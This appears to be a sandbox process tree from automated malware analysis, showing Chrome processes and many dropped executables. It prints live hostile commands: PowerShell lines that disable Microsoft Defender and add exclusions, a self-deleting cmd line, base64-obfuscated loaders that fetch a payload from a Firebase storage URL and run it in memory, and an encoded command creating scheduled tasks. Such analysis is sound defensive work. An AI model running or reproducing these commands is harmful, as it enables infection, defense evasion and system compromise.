C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ejwi3h5r.r0s" --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=ja --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4544,i,18150138819621428072,11920455828914441628,2097152 --field-trial-handle=2732,i,7810055912298484038,2023640672692855873,262144 --variations-seed-version --mojo-platform-channel-handle=4724 /prefetch:15⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ejwi3h5r.r0s" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=ja --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4548,i,9340544214624563879,12492922404175181162,2097152 --field-trial-handle=2732,i,7810055912298484038,2023640672692855873,262144 --variations-seed-version --mojo-platform-channel-handle=4280 /prefetch:95⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=ja --service-sandbox-type=none --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ejwi3h5r.r0s" --force-high-res-timeticks=disabled --metrics-shmem-handle=4668,i,1543754768392882406,5061542778695059395,524288 --field-trial-handle=2732,i,7810055912298484038,2023640672692855873,262144 --variations-seed-version --mojo-platform-channel-handle=5108 /prefetch:115⤵
- System Time Discovery
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=ja --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ejwi3h5r.r0s" --force-high-res-timeticks=disabled --metrics-shmem-handle=4776,i,46225569958387931,11029937834400199382,524288 --field-trial-handle=2732,i,7810055912298484038,2023640672692855873,262144 --variations-seed-version --mojo-platform-channel-handle=5132 /prefetch:145⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=ja --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ejwi3h5r.r0s" --force-high-res-timeticks=disabled --metrics-shmem-handle=4780,i,7003135222736888682,18067106729294414267,524288 --field-trial-handle=2732,i,7810055912298484038,2023640672692855873,262144 --variations-seed-version --mojo-platform-channel-handle=5116 /prefetch:145⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=ja --service-sandbox-type=none --no-sandbox --mute-audio --message-loop-type-ui --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ejwi3h5r.r0s" --force-high-res-timeticks=disabled --metrics-shmem-handle=4784,i,15948357484295122110,14949523548469662579,524288 --field-trial-handle=2732,i,7810055912298484038,2023640672692855873,262144 --variations-seed-version --mojo-platform-channel-handle=5148 /prefetch:145⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=ja --service-sandbox-type=service --no-sandbox --mute-audio --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ejwi3h5r.r0s" --force-high-res-timeticks=disabled --metrics-shmem-handle=5076,i,2721725490504181645,12303864436024404415,524288 --field-trial-handle=2732,i,7810055912298484038,2023640672692855873,262144 --variations-seed-version --mojo-platform-channel-handle=5136 /prefetch:135⤵
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --user-data-dir="C:\Users\Admin\AppData\Local\Temp\ejwi3h5r.r0s" --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --no-sandbox --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=ja --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5676,i,3112431355553291505,8803055268008217256,2097152 --field-trial-handle=2732,i,7810055912298484038,2023640672692855873,262144 --variations-seed-version --mojo-platform-channel-handle=5700 /prefetch:95⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\EaglesTitan001.exeEaglesTitan001.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\install.exeinstall.exe3⤵
-
C:\Windows\SYSTEM32\rundll32.exerundll32.exe "C:\ProgramData\MarvellSemi\Index\Helper\agthost.dll",ModuleInit4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\win.exewin.exe3⤵
-
C:\ProgramData\Windows NT\Windows 任务的主机进程.exe"C:\ProgramData\Windows NT\Windows 任务的主机进程.exe"4⤵
-
-
C:\Windows\SYSTEM32\cmd.execmd.exe /C ping 127.0.0.1 -n 2 >nul & del /f /q "C:\Users\Admin\AppData\Local\Temp\a\win.exe"4⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
C:\Windows\system32\PING.EXEping 127.0.0.1 -n 25⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\tkr.exetkr.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\a\tkr.exetkr.exe4⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "ver"5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\EagleWingsDNA04.exeEagleWingsDNA04.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\finale.exefinale.exe3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableRealtimeMonitoring $true4⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\Wb9cbe8fb"4⤵
-
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe System1.vbs3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $Wzt = 'W1N5c3RlbS5OZXQuU2VydmljZVBvaW50TWFuYWdlcl06OlNlY3VyaXR5UHJvdG9jb2wgPSBbU3lzdGVtLk5ldC5TZWN1cml0eVByb3RvY29sVHlwZV06OlRsczEyOyRwcW1qb2EgPSঔৣ⇜naHR0cHM6Ly9maXJlYmFzZXN0b3JhZ2UuZ29vZ2xlYXBpcy5jb20vdjঔৣ⇜vYi9yb2RyaWFrZC04NDEzZC5hcHBzcG90LmNvbS9vL2RsbCUyRjElMjBsaW5rJTIwZGxsLnR4dD9hbHQ9bWVkaWEmdG9rZW49ZTczODlhZDItNGFkOS00ZmI3LWJmNjঔৣ⇜tMmE1MDJiYmI2YzZjJyঔৣ⇜7JFB4UHl0ID0gKCঔৣ⇜nQzpcUHJvZ3JhbURhdGFcJyঔৣ⇜rICdkU3Z3bi50eHQnKTskd2ViQ2xpZW50LkhlYWRlcnMuQWRkKCdVc2VyLUFnZW50JywgJ01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLjঔৣ⇜7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNiঔৣ⇜oS0hUTUwsIExpa2UgR2Vja28pIENocm9tZS8xMjঔৣ⇜uMC4wLjঔৣ⇜gU2FmYXJpLzUzNy4zNiBFZGcvMTIwLjঔৣ⇜uMC4wJyk7JHBUZ2RnID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudCঔৣ⇜7JEhjWEJzID0gJHBUZ2RnLkRvd25sb2FkU3RyaW5nKCঔৣ⇜kcHFtam9hICkgOyRIY1hCcyB8IE91dC1GaWxlIC1GaWxlUGF0aCঔৣ⇜kUHhQeXQgLUVuY29kaW5nICdVVEY4Jyঔৣ⇜tZm9yY2UgOyRXeE5Deiঔৣ⇜9ICggJ0M6XFByb2dyYW1EYXRhXCcgKyঔৣ⇜nZFN2d24udHh0JykgOyRaSmJzVVggPSঔৣ⇜nTG9hZCcgOyRaU0RZRyঔৣ⇜9ICdJbnZva2UnOyR5TmxVTyঔৣ⇜9ICRudWxsOyRZV0ZJYiঔৣ⇜9ICckdHhJZU4gPSঔৣ⇜nJ3R4dC5pc21fa3NhdC9uaWFtL3NkYWVoL3NmZXIvc292aWhjcmEtc2ltL2dwai02MjYyNjJyZWxnbmVwcy9tb2MudG5ldG5vY3Jlc3VidWh0aWcud2FyLy86JycgKyঔৣ⇜nJ3NwdCcnICsgJyd0aCcnIDsnIDskWVdGSWIgKz0gJzskeCঔৣ⇜9ICgnJ0M6XFByb2dyYW1EYXRhXGRTdnduLnR4dCcnKTskT2dtZWdjID0gKEdldC1Db250ZW50IC1QYXRoICR4IC1FbmNvZGluZyBVVEY4KTskT2dtZWdjID0gJE9nbWVnYy5yZXBsYWNlKCcnPT09PT09PT09JycsICcnQScnKTsnIDskWVdGSWIgKz0gJ1tCeXRlW11dICRWTG1QZSঔৣ⇜9IFtzeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoICRPZ21lZ2MgKSঔৣ⇜7Jyঔৣ⇜7JFlXRkliICs9ICdbU3lzdGVtLkFwcERvbWFpbl06Jyঔৣ⇜rICc6Q3VycmVudERvbWFpbi4nICsgJFpKYnNVWCঔৣ⇜rICcoICRWTG1QZSঔৣ⇜pLicgOyRZV0ZJYiঔৣ⇜rPSঔৣ⇜nR2V0VHlwZSggJydGanJELkdxZ2EnJyঔৣ⇜pLkdldE1ldCcgOyRZV0ZJYiঔৣ⇜rPSঔৣ⇜naG9kKCঔৣ⇜nJ05SSk9NUycnICkuJyঔৣ⇜rICRaU0RZRyঔৣ⇜rICcoICR5TmxVTyঔৣ⇜sIFtvYmplY3RbXV0gKCঔৣ⇜oICR0eEllTiঔৣ⇜pICwgJycldWpKRGRVJScnICwgJydPRXpUSkMnJywgJycwMycnLCঔৣ⇜nJzEnJywgJydjYWNhJycgICkgKSঔৣ⇜7Jyঔৣ⇜7JFdFTUVTID0gKCঔৣ⇜nQzpcUHJvZ3JhbURhdGFcJyঔৣ⇜rICdEdlZicy5wczEnICkgOyRZV0ZJYiB8IE91dC1GaWxlIC1GaWxlUGF0aCঔৣ⇜kV0VNRVMgIC1mb3JjZSঔৣ⇜7cG93ZXJzaGVsbCঔৣ⇜tRXhlY3V0aW9uUG9saWN5IEJ5cGFzcyঔৣ⇜tRmlsZSঔৣ⇜kV0VNRVMgOw==';$jXaFy = [system.Text.Encoding]::UTF8.GetString( [system.Convert]::FromBase64String( ($Wzt -replace 'ঔৣ⇜','A') ) );$jXaFy = ($jXaFy -replace '%ujJDdU%', 'C:&Users&Admin&AppData&Local&Temp&a&System1.vbs');$WxNCz = ( 'C:\ProgramData\' + 'Vy.ps1') ;$jXaFy | Out-File -FilePath $WxNCz -force ;;powershell -ExecutionPolicy Bypass -File $WxNCz;4⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\ProgramData\Vy.ps15⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\ProgramData\DvVbs.ps16⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
-
C:\Windows\SYSTEM32\wscript.exewscript.exe System.vbs3⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $NYjjV = 'W1N5c3RlbS5OZXQuU2VydmljZVBvaW50TWFuYWdlcl06OlNlY3VyaXR5UHJvdG9jb2wgPSBbU3lzdGVtLk5ldC5TZWN1cml0eVByb3RvY29sVHlwZV06OlRsczEyOyRwcW1qb2EgPS☇☇☇naHR0cHM6Ly9maXJlYmFzZXN0b3JhZ2UuZ29vZ2xlYXBpcy5jb20vdj☇☇☇vYi9yb2RyaWFrZC04NDEzZC5hcHBzcG90LmNvbS9vL2RsbCUyRkRMTCUyMDEwLT☇☇☇2LnR4dD9hbHQ9bWVkaWEmdG9rZW49OGFlYmZjZD☇☇☇tMzMxOS00YjIyLTkzODgtODQ0OWQyOGQzZDQ2Jy☇☇☇7JFB4UHl0ID0gKC☇☇☇nQzpcUHJvZ3JhbURhdGFcJy☇☇☇rICdMd29xby50eHQnKTskcFRnZGcgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50IDskc0ZVQmMgPS☇☇☇kcFRnZGcuRG93bmxvYWRTdHJpbmcoICRwcW1qb2EgKS☇☇☇7JHNGVUJjIHwgT3V0LUZpbGUgLUZpbGVQYXRoICRQeFB5dC☇☇☇tRW5jb2RpbmcgJ1VURjgnIC1mb3JjZS☇☇☇7JGxOVFhCID0gKC☇☇☇nQzpcUHJvZ3JhbURhdGFcJy☇☇☇rICdMd29xby50eHQnKS☇☇☇7JGhWcXF0ID0gJ0xvYWQnIDska1R4VVggPS☇☇☇nSW52b2tlJzskeUdwSVcgPS☇☇☇kbnVsbDskWVdGSWIgPS☇☇☇nJG5EeFdxID0gJyd0eHQudGF2bi9uaWFtL3NkYWVoL3NmZXIvbWFzY2ltb2MvODIxMDU4b3RlYmFjL21vYy50bmV0bm9jcmVzdWJ1aHRpZy53YXIvLzonJy☇☇☇rICcnc3B0dCcnICsgJydoJycgOycgOyRZV0ZJYi☇☇☇rPS☇☇☇nOyR4ID0gKCcnQzpcUHJvZ3JhbURhdGFcTHdvcW8udHh0JycpOyRGbG9QZi☇☇☇9IChHZXQtQ29udGVudC☇☇☇tUGF0aC☇☇☇keC☇☇☇tRW5jb2RpbmcgVVRGOCk7JEZsb1BmID0gJEZsb1BmLnJlcGxhY2UoJycqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKionJywgJydBJycpOycgOyRZV0ZJYi☇☇☇rPS☇☇☇nW0J5dGVbXV0gJFZMbVBlID0gW3N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZyggJEZsb1BmICkgOycgOyRZV0ZJYi☇☇☇rPS☇☇☇nW1N5c3RlbS5BcHBEb21haW5dOicgKy☇☇☇nOkN1cnJlbnREb21haW4uJy☇☇☇rICRoVnFxdC☇☇☇rICcoICRWTG1QZS☇☇☇pLicgOyRZV0ZJYi☇☇☇rPS☇☇☇nR2V0VHlwZSggJydGanJELkx6S1dtJycgKS5HZXRNZXQnIDskWVdGSWIgKz0gJ2hvZCggJydXbUpaWicnICkuJy☇☇☇rICRrVHhVWC☇☇☇rICcoICR5R3BJVy☇☇☇sIFtvYmplY3RbXV0gKC☇☇☇oICRuRHhXcS☇☇☇pICwgJyclTEp3dmslJycgLC☇☇☇nJycnLC☇☇☇nJz☇☇☇zJycsICcnMScnLC☇☇☇nJ2NhY2EnJy☇☇☇gKS☇☇☇pIDsnIDskd2ViQ2xpZW50LkhlYWRlcnMuQWRkKCdVc2VyLUFnZW50JywgJ01vemlsbGEvNS4wIChXaW5kb3dzIE5UIDEwLj☇☇☇7IFdpbjY0OyB4NjQpIEFwcGxlV2ViS2l0LzUzNy4zNi☇☇☇oS0hUTUwsIExpa2UgR2Vja28pIENocm9tZS8xMj☇☇☇uMC4wLj☇☇☇gU2FmYXJpLzUzNy4zNiBFZGcvMTIwLj☇☇☇uMC4wJyk7JE1NZW1VID0gKC☇☇☇nQzpcUHJvZ3JhbURhdGFcJy☇☇☇rICdMd29xby5wczEnICkgOyRZV0ZJYiB8IE91dC1GaWxlIC1GaWxlUGF0aC☇☇☇kTU1lbVUgIC1mb3JjZS☇☇☇7cG93ZXJzaGVsbC☇☇☇tRXhlY3V0aW9uUG9saWN5IEJ5cGFzcy☇☇☇tRmlsZS☇☇☇kTU1lbVUgOw==';;$eFejG = [system.Text.Encoding]::UTF8.GetString( [system.Convert]::FromBase64String( ($NYjjV -replace '☇☇☇','A') ) );$eFejG = ($eFejG -replace '%LJwvk%', , 'C:\Users\Admin\AppData\Local\Temp\a\System.vbs');$lNTXB = ( 'C:\ProgramData\' + 'NgOVP.ps1') ;$eFejG | Out-File -FilePath $lNTXB -force ;;powershell -ExecutionPolicy Bypass -File $lNTXB;4⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\ProgramData\NgOVP.ps15⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File C:\ProgramData\Lwoqo.ps16⤵
- Command and Scripting Interpreter: PowerShell
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe Copy-Item 'C:\Windows\System32\a\System.vbs' -Destination 'C:\Users\Admin\AppData\Local\Temp\'7⤵
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"7⤵
-
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\loader.exeloader.exe3⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c color 0D4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\file.exefile.exe3⤵
-
C:\Users\Admin\AppData\Local\Temp\is-B1M2G9J0QN.tmp\file.tmp"C:\Users\Admin\AppData\Local\Temp\is-B1M2G9J0QN.tmp\file.tmp" /SL5="$703A2,7883241,878080,C:\Users\Admin\AppData\Local\Temp\a\file.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\a\whatever.exewhatever.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\kliulij.exekliulij.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_c0d2eb6a8b73120b.exefile_c0d2eb6a8b73120b.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\file_b584670f7ec2f317.exefile_b584670f7ec2f317.exe3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\a\CFXBypass.exeCFXBypass.exe3⤵
-
C:\Users\Admin\AppData\Local\b9e3789d-f75a-465e-90e7-0d161bfe55a0\background.exe"C:\Users\Admin\AppData\Local\b9e3789d-f75a-465e-90e7-0d161bfe55a0\background.exe"4⤵
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --incognito5⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand JABsAGEAPQAkAGUAbgB2ADoATABPAEMAQQBMAEEAUABQAEQAQQBUAEEAOwAkAHAAMQA9ACgAJABsAGEAIAArACAAKAAnAFwAJwArACcATQBpAGMAcgBvAHMAbwBmACcAKwAnAHQAXABPAGYAZgBpAGMAZQAnACsAJwBCACcAKwAnAHIAbwBrACcAKwAnAGUAJwArACcAcgAnACkAKQA7ACQAcAAyAD0AKAAkAGwAYQAgACsAIAAoACcAXABQAGEAYwBrAGEAJwArACcAZwBlAHMAXABNACcAKwAnAGkAYwByACcAKwAnAG8AcwBvAGYAJwArACcAdAAuAFcAaQAnACsAJwBuACcAKwAnAGQAbwB3AHMALgBQAGUAbwAnACsAJwBwAGwAZQBFACcAKwAnAHgAJwArACcAcABlAHIAaQBlAG4AYwBlACcAKwAnAEgAbwBzAHQAXwBnAHcAJwArACcAMQBuADEAYwAyAGYAaAAnACsAJwB5AGUAJwArACcAcQAnACsAJwB5ACcAKQApADsAJABwADIAdAA9ACgAJABwADIAIAArACAAKAAtAGoAbwBpAG4AKAAnAFwAQQBDACcALAAnAFwAVABlACcALAAnAG0AcAAnACkAKQApADsATgBlAHcALQBJAHQAZQBtACAALQBQAGEAdABoACAAJABwADEAIAAtAEkAdABlAG0AVAB5AHAAZQAgAEQAaQByAGUAYwB0AG8AcgB5ACAALQBGAG8AcgBjAGUAfABPAHUAdAAtAE4AdQBsAGwAOwBOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAHAAMgB0ACAALQBJAHQAZQBtAFQAeQBwAGUAIABEAGkAcgBlAGMAdABvAHIAeQAgAC0ARgBvAHIAYwBlAHwATwB1AHQALQBOAHUAbABsADsAYQB0AHQAcgBpAGIAIAArAGgAIAArAHMAIAAkAHAAMQA7AGEAdAB0AHIAaQBiACAAKwBoACAAKwBzACAAJABwADIAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwAnACwAJwBMAE0AJwAsACcAXABTACcALAAnAE8ARgBUAFcAQQBSAEUAXAAnACwAJwBQAG8AbABpACcALAAnAGMAaQBlACcALAAnAHMAXABNAGkAYwByAG8AJwAsACcAcwBvAGYAdABcAFcAJwAsACcAaQBuAGQAbwAnACwAJwB3AHMAIABEAGUAZgBlAG4AJwAsACcAZABlAHIAXABFAHgAYwAnACwAJwBsAHUAcwAnACwAJwBpAG8AbgBzAFwAUABhACcALAAnAHQAJwAsACcAaABzACcAKQApACAALwBmACAALwByAGUAZwA6ADYANAA7AHIAZQBnACAAYQBkAGQAIAAoAC0AagBvAGkAbgAoACcASAAnACwAJwBLAEwATQBcAFMATwBGAFQAJwAsACcAVwBBAFIARQAnACwAJwBcAFAAbwBsAGkAYwAnACwAJwBpAGUAcwBcAE0AaQBjAHIAJwAsACcAbwBzAG8AZgB0AFwAJwAsACcAVwBpAG4AZAAnACwAJwBvAHcAcwAgAEQAZQAnACwAJwBmAGUAbgBkAGUAJwAsACcAcgAnACwAJwBcAEUAeABjAGwAdQBzAGkAJwAsACcAbwBuAHMAXAAnACwAJwBQAGEAdABoAHMAJwApACkAIAAvAHYAIAAkAHAAMQAgAC8AdAAgAFIARQBHAF8ARABXAE8AUgBEACAALwBkACAAMAAgAC8AZgAgAC8AcgBlAGcAOgA2ADQAOwByAGUAZwAgAGEAZABkACAAKAAtAGoAbwBpAG4AKAAnAEgASwBMAE0AXABTAE8ARgAnACwAJwBUAFcAJwAsACcAQQBSAEUAXABQACcALAAnAG8AbABpAGMAaQBlAHMAXAAnACwAJwBNAGkAYwByAG8AcwAnACwAJwBvAGYAdABcAFcAaQBuAGQAJwAsACcAbwB3AHMAIABEAGUAJwAsACcAZgBlAG4AZAAnACwAJwBlAHIAJwAsACcAXABFAHgAYwBsAHUAcwBpACcALAAnAG8AbgBzACcALAAnAFwAUABhAHQAaABzACcAKQApACAALwB2ACAAJABwADIAIAAvAHQAIABSAEUARwBfAEQAVwBPAFIARAAgAC8AZAAgADAAIAAvAGYAIAAvAHIAZQBnADoANgA0ADsAdAByAHkAewBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAJABwADEAIAAtAEYAbwByAGMAZQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQA7AEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAAtAEUAeABjAGwAdQBzAGkAbwBuAFAAYQB0AGgAIAAkAHAAMgAgAC0ARgBvAHIAYwBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlADsAfQBjAGEAdABjAGgAewB9AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIABnAHAAdQBwAGQAYQB0AGUAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAJwAvAGYAbwByAGMAZQAnACwAJwAvAHQAYQByAGcAZQB0ADoAYwBvAG0AcAB1AHQAZQByACcAIAAtAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQAgAEgAaQBkAGQAZQBuACAALQBXAGEAaQB0ACAAMgA+ACQAbgB1AGwAbAA7AFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADIAMAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBXAGkAbgBkAG8AdwBzACcAKwAnAFMAJwArACcAeQBzAHQAZQBtAFMAZQAnACsAJwByAHYAaQBjAGUAJwApACAALwB0AHIAIAAoACQAcAAxACAAKwAgACgALQBqAG8AaQBuACgAJwBcACcALAAnAHMAdgBjAGgAJwAsACcAbwBzAHQALgBlACcALAAnAHgAZQAnACkAKQApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AHMAYwBoAHQAYQBzAGsAcwAgAC8AYwByAGUAYQB0AGUAIAAvAHQAbgAgACgAJwBSAHUAbgB0ACcAKwAnAGkAbQBlAEIAcgBvAGsAJwArACcAZQAnACsAJwByAFMAZQAnACsAJwByAHYAaQAnACsAJwBjACcAKwAnAGUAJwApACAALwB0AHIAIAAoACQAcAAyAHQAIAArACAAJwBcAFIAdQBuAHQAaQBtAGUAQgByAG8AawBlAHIALgBlAHgAZQAgAC0ARQBtAGIAZQBkAGQAaQBuAGcAJwApACAALwBzAGMAIABvAG4AbABvAGcAbwBuACAALwByAGwAIABoAGkAZwBoAGUAcwB0ACAALwBmACAAMgA+ACQAbgB1AGwAbAA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAPQBbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7AFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQByAHYAZQByAEMAZQByAHQAaQBmAGkAYwBhAHQAZQBWAGEAbABpAGQAYQB0AGkAbwBuAEMAYQBsAGwAYgBhAGMAawA9AHsAJAB0AHIAdQBlAH0AOwAkAGkAdgA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgADEANgA7AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBSAGEAbgBkAG8AbQBOAHUAbQBiAGUAcgBHAGUAbgBlAHIAYQB0AG8AcgBdADoAOgBDAHIAZQBhAHQAZQAoACkALgBHAGUAdABCAHkAdABlAHMAKAAkAGkAdgApADsAJABhAGUAcwA9AFsAUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBdADoAOgBDAHIAZQBhAHQAZQAoACkAOwAkAGEAZQBzAC4ASwBlAHkAPQBbAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AEIAeQB0AGUAcwAoACgAJwA0ADEANwAxACcAKwAnADIAOQA2ADEAMgA5ADQAOQAnACsAJwAxADEANAAxADEANgA3ADMAJwArACcAMAA4ACcAKwAnADkAMQA2ADcAMwAzADkAOQAnACsAJwAwADEAJwApACkAOwAkAGEAZQBzAC4ASQBWAD0AJABpAHYAOwAkAGEAZQBzAC4ATQBvAGQAZQA9ACgALQBqAG8AaQBuACgAJwBDAEIAJwAsACcAQwAnACkAKQA7ACQAYQBlAHMALgBQAGEAZABkAGkAbgBnAD0AKAAnAFAASwAnACsAJwBDAFMAJwArACcANwAnACkAOwAkAGMAbQBkAD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABCAHkAdABlAHMAKAAoAC0AagBvAGkAbgAoACcAZwBlACcALAAnAHQAUAAnACwAJwBhAHkAbABvACcALAAnAGEAJwAsACcAZAAnACkAKQApADsAJABlAG4AYwBDAG0AZAA9ACQAYQBlAHMALgBDAHIAZQBhAHQAZQBFAG4AYwByAHkAcAB0AG8AcgAoACkALgBUAHIAYQBuAHMAZgBvAHIAbQBGAGkAbgBhAGwAQgBsAG8AYwBrACgAJABjAG0AZAAsADAALAAkAGMAbQBkAC4ATABlAG4AZwB0AGgAKQA7ACQAYgBvAGQAeQA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABiAHkAdABlAFsAXQAgACgAJABpAHYALgBMAGUAbgBnAHQAaAArACQAZQBuAGMAQwBtAGQALgBMAGUAbgBnAHQAaAApADsAWwBBAHIAcgBhAHkAXQA6ADoAQwBvAHAAeQAoACQAaQB2ACwAJABiAG8AZAB5ACwAMQA2ACkAOw